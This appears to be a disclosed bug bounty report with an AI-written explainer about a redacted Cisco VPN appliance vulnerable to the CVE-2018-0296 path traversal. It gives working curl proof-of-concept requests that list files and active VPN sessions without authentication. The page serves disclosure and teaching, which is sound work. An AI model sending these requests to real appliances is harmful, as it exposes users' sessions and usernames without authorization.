[CVE-2018-0296] Cisco VPN path traversal on the https://1████████ (https://████████.███.████████/)
A Cisco VPN appliance was vulnerable to a path traversal flaw that let an unauthenticated attacker list files and sessions. The attacker could disclose sensitive information such as VPN sessions, files and usernames, and under some conditions cause denial of service.
- Triaged in 45 hours
- Fixed in 2 months
- Paid in 6 days
- Disclosed after 4.8 years
##Description I discovered previously unidentified instance https://1███████ in ████████ network, vulnerable to the CVE-2018-0296 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-0296)
##POC
curl -i -k "https://1████/+CSCOU+/../+CSCOE+/files/file_list.json" --path-as-is
████████
We can disclose user sessions by quering /sessions:
curl -i -k "https://1█████/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions" --path-as-is
##Suggested fix Updating to the latest version should fix the issue. Fixed version should give 404 "File not found" error. Example of patched version:
curl -i -k "https://███.████.█████/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions" --path-as-is
Impact
Path traversal, which can allow the unauthenticated attacker disclose sensitive information such as VPN sessions, files, usernames. Under some conditions it's possible to cacuse DOS attacks
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the web interface failed to normalise or block '..' sequences in the requested path, so crafted URLs reached files outside the intended directory.
Impact
An unauthenticated attacker could disclose sensitive information such as VPN sessions, files and usernames, and under some conditions cause denial of service.
What the attacker needed
Network access to the VPN web interface; no authentication required
The fix
Updating to the latest version should fix the issue; a patched version should return a 404 for the crafted path.
How it was found
- Send a crafted request to the VPN's file listing endpoint using a path traversal sequence.
- Observe that the server returns a file listing without authentication.
- Add a path parameter pointing to the sessions directory to list active user sessions.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A path traversal bug lets someone use '..' in a web address to step outside the folder the server meant to show. Here the VPN device returned a list of files and active sessions to anyone who asked, without logging in. That could expose who is connected and other private data.
What is Path traversal?
Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.